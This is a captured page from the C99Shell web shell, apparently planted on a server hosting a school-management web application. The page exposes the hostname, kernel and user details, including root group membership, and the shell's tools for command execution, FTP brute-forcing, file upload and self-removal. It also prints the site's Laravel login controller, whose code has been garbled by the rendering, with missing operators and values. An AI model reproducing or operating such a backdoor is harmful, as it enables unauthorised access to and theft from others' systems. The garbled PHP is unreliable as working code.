!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-163-generic #173-Ubuntu SMP Tue Oct 14 17:51:00 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/school.picotech.app/public_html/app/Http/Controllers/Auth/   drwxr-xr-x
Free 23.73 GB of 117.98 GB (20.11%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     LoginController.php (3.24 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Auth;

use 
App\Http\Controllers\Controller;
use 
App\Providers\RouteServiceProvider;
use 
Illuminate\Foundation\Auth\AuthenticatesUsers;
use 
Illuminate\Http\Request;

class 
LoginController extends Controller
{
    
/*
    |--------------------------------------------------------------------------
    | Login Controller
    |--------------------------------------------------------------------------
    |
    | This controller handles authenticating users for the application and
    | redirecting them to your home screen. The controller uses a trait
    | to conveniently provide its functionality to your applications.
    |
    */

    
use AuthenticatesUsers;

    
/**
     * Where to redirect users after login.
     *
     * @var string
     */
    
protected $redirectTo RouteServiceProvider::HOME;

    
/**
     * Create a new controller instance.
     *
     * @return void
     */
    
public function __construct()
    {
        
$this->middleware('guest')->except('logout');
    }

    public function 
login(Request $request)
    {
        
$input $request->all();

        
$this->validate($request, [
            
'email' => 'required|email',
            
'password' => 'required',
        ]);


        if(
school_status_check($input['email']) == || user_role_check($input['email']) == || user_role_check($input['email']) == 2) {

            if (
auth()->attempt(array('email' => $input['email'], 'password' => $input['password']))) {
                if (
auth()->user()->role_id == 1) {

                    
session(['superadmin_login' => 1]);
                    return 
redirect()->route('superadmin.dashboard');

                } else {
                    if (
auth()->user()->role_id == 2) {

                        
session(['admin_login' => 2]);
                        return 
redirect()->route('admin.dashboard');

                    } else if (
auth()->user()->role_id == 3) {

                        
session(['teacher_login' => 3]);
                        return 
redirect()->route('teacher.dashboard');

                    } else if (
auth()->user()->role_id == 4) {

                        
session(['accountant_login' => 4]);
                        return 
redirect()->route('accountant.dashboard');

                    } elseif ((
auth()->user()->role_id == 5)) {

                        
session(['librarian_login' => 5]);
                        return 
redirect()->route('librarian.dashboard');

                    } elseif ((
auth()->user()->role_id == 6)) {

                        
session(['parent_login' => 6]);
                        return 
redirect()->route('parent.dashboard');

                    } else if (
auth()->user()->role_id == 7) {

                        
session(['student_login' => 7]);
                        return 
redirect()->route('student.dashboard');

                    } else {
                        return 
redirect()->route('home');
                    }
                }
            } else {
                return 
redirect()->route('login')
                    ->
with('error''Email-Address And Password Are Wrong.');
            }
        } else {
            return 
redirect()->route('login')
                    ->
with('error''Your school is yet to be authorized to this service!');
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0057 ]--